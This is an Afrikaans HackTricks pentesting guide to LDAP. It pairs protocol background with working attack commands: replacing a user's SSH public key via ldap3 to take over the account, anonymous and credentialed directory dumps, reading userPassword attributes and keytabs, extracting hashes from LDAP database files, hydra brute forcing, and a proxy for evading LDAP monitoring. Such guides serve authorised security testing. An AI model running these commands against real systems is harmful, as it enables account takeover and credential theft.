389, 636, 3268, 3269 - Pentesting LDAP

Reading time: 14 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Die gebruik van LDAP (Lightweight Directory Access Protocol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en hulpbronne soos lêers en toestelle binne netwerke, beide publiek en privaat. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kodevoetspoor te hê.

LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n geïmpliseerde en gesinkroniseerde weergawe van die gids huisves, bekend as 'n Directory System Agent (DSA). Die verantwoordelikheid vir die hantering van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSA's kan kommunikeer soos nodig om 'n verenigde antwoord aan die versoeker te lewer.

Die organisasie van die LDAP-gids herinner aan 'n boomhiërargie, wat met die wortelgids aan die bokant begin. Dit takke af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskillende afdelings of departemente verteenwoordig, en uiteindelik die vlak van individuele entiteite bereik, insluitend beide mense en gedeelde hulpbronne soos lêers en drukkers.

Standaardpoort: 389 en 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is standaard beskikbaar op poorte 3268, en 3269 vir LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) definieer die gidsinhoud as 'n stel rekords. Dit kan ook opdateringsversoeke verteenwoordig (Voeg by, Wysig, Verwyder, Hernoem).

bash
dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Lynne 1-3 definieer die topvlak domein lokaal
  • Lynne 5-8 definieer die eerste vlak domein moneycorp (moneycorp.local)
  • Lynne 10-16 definieer 2 organisatoriese eenhede: dev en sales
  • Lynne 18-26 skep 'n objek van die domein en ken eienskappe met waardes toe

Skryf data

Let daarop dat as jy waardes kan verander, jy werklik interessante aksies kan uitvoer. Byvoorbeeld, stel jou voor dat jy die "sshPublicKey" inligting van jou gebruiker of enige gebruiker kan verander. Dit is hoogs waarskynlik dat as hierdie eienskap bestaan, dan lees ssh die publieke sleutels van LDAP. As jy die publieke sleutel van 'n gebruiker kan verander, sal jy in staat wees om as daardie gebruiker aan te meld, selfs al is wagwoordverifikasie nie in ssh geaktiveer nie.

bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Sniff duidelike teks geloofsbriewe

As LDAP sonder SSL gebruik word, kan jy geloofsbriewe in gewone teks in die netwerk sniff.

Ook kan jy 'n MITM aanval in die netwerk tussen die LDAP bediener en die kliënt uitvoer. Hier kan jy 'n Downgrade Aanval maak sodat die kliënt die geloofsbriewe in duidelike teks gebruik om aan te meld.

As SSL gebruik word, kan jy probeer om MITM te maak soos hierbo genoem, maar deur 'n valse sertifikaat aan te bied. As die gebruiker dit aanvaar, kan jy die verifikasietegniek verlaag en die geloofsbriewe weer sien.

Anonieme Toegang

Bypass TLS SNI kontrole

Volgens hierdie skrywe kon hy net deur die LDAP bediener met 'n arbitrêre domeinnaam (soos company.com) te benader, die LDAP diens kontak en inligting as 'n anonieme gebruiker onttrek:

bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonieme bindings

LDAP anonieme bindings laat onaangetekende aanvallers toe om inligting van die domein te verkry, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n erfconfigurasie, en vanaf Windows Server 2003, mag slegs geverifieerde gebruikers LDAP versoeke inisieer.
Tog mag admins nodig gehad het om 'n spesifieke toepassing op te stel om anonieme bindings toe te laat en meer toegang gegee het as wat bedoel was, wat onaangetekende gebruikers toegang tot alle voorwerpe in AD gee.

Geldige Kredensiële

As jy geldige kredensiële het om in te log op die LDAP bediener, kan jy al die inligting oor die Domein Admin dump met:

ldapdomaindump

bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Enumerasie

Geoutomatiseerd

Deur dit te gebruik, sal jy in staat wees om die publieke inligting (soos die domeinnaam):

bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Bekijk LDAP enumerasie met python

Jy kan probeer om 'n LDAP te enumereer met of sonder geloofsbriewe met python: pip3 install ldap3

Probeer eers om sonder geloofsbriewe te verbinde:

bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

As die antwoord True is soos in die vorige voorbeeld, kan jy sommige interessante data van die LDAP (soos die naam konteks of domeinnaam) bediener verkry van:

bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Sodra jy die naamgewing konteks het, kan jy 'n paar meer opwindende navrae maak. Hierdie eenvoudige navraag behoort al die voorwerpe in die gids te wys:

bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Of dump die hele ldap:

bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch is 'n Python-skrip wat nuttig is om gebruikers, groepe en rekenaars uit 'n Windows domein te evalueer deur gebruik te maak van LDAP-navrae.

bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Kontroleer nul geloofsbriewe of of jou geloofsbriewe geldig is:

bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

As jy iets vind wat sê dat die "bind moet voltooi word" beteken dit dat die akrediteerbesonderhede verkeerd is.

Jy kan alles van 'n domein onttrek met:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Haal gebruikers uit:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Onttrek rekenaars:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Trek my info uit:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal Domein Administrators uit:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Onttrek Domein gebruikers:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal Enterprise Admins uit:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal Administrators uit:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Haal Afgeleë Desktop Groep uit:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Om te sien of jy toegang het tot enige wagwoord, kan jy grep gebruik nadat jy een van die navrae uitgevoer het:

bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Let asseblief op dat die wagwoorde wat jy hier kan vind, dalk nie die werklike is nie...

pbis

Jy kan pbis hier aflaai: https://github.com/BeyondTrust/pbis-open/ en dit word gewoonlik geïnstalleer in /opt/pbis.
Pbis laat jou toe om basiese inligting maklik te verkry:

bash
#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Grafiese Koppelvlak

Apache Directory

Laai Apache Directory hier af. Jy kan 'n voorbeeld van hoe om hierdie hulpmiddel te gebruik hier vind.

jxplorer

Jy kan 'n grafiese koppelvlak met LDAP-bediener hier aflaai: http://www.jxplorer.org/downloads/users.html

Standaard is dit geïnstalleer in: /opt/jxplorer

Godap

Godap is 'n interaktiewe terminale gebruikerskoppelvlak vir LDAP wat gebruik kan word om met objekke en eienskappe in AD en ander LDAP-bedieners te kommunikeer. Dit is beskikbaar vir Windows, Linux en MacOS en ondersteun eenvoudige bindings, pass-the-hash, pass-the-ticket & pass-the-cert, saam met verskeie ander gespesialiseerde funksies soos soek/maak/wysig/verwyder objekke, voeg/verwyder gebruikers uit groepe, verander wagwoorde, redigeer objektoestemmings (DACLs), wysig Aktiewe Katalogus Geïntegreerde DNS (ADIDNS), uitvoer na JSON-lêers, ens.

Jy kan dit toegang verkry in https://github.com/Macmod/godap. Vir gebruiksvoorbeelde en instruksies lees die Wiki.

Ldapx

Ldapx is 'n buigsame LDAP-proxy wat gebruik kan word om LDAP-verkeer van ander hulpmiddels te inspekteer & te transformeer. Dit kan gebruik word om LDAP-verkeer te obfuskeer om te probeer om identiteitsbeskerming & LDAP-monitering hulpmiddels te omseil en implementeer die meeste van die metodes wat in die MaLDAPtive praat aangebied word.

Jy kan dit kry van https://github.com/Macmod/ldapx.

Verifikasie via kerberos

Met ldapsearch kan jy verifieer teen kerberos in plaas van via NTLM deur die parameter -Y GSSAPI te gebruik.

POST

As jy toegang kan verkry tot die lêers waar die databasisse bevat is (kan wees in /var/lib/ldap). Jy kan die hashes onttrek met:

bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

U kan john voed met die wagwoord-hash (van '{SSHA}' na 'structural' sonder om 'structural' by te voeg).

Konfigurasie Lêers

  • Algemeen
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 bediener
  • V3.sas.oc
  • Microsoft Active Directory bediener
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks Outomatiese Opdragte

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks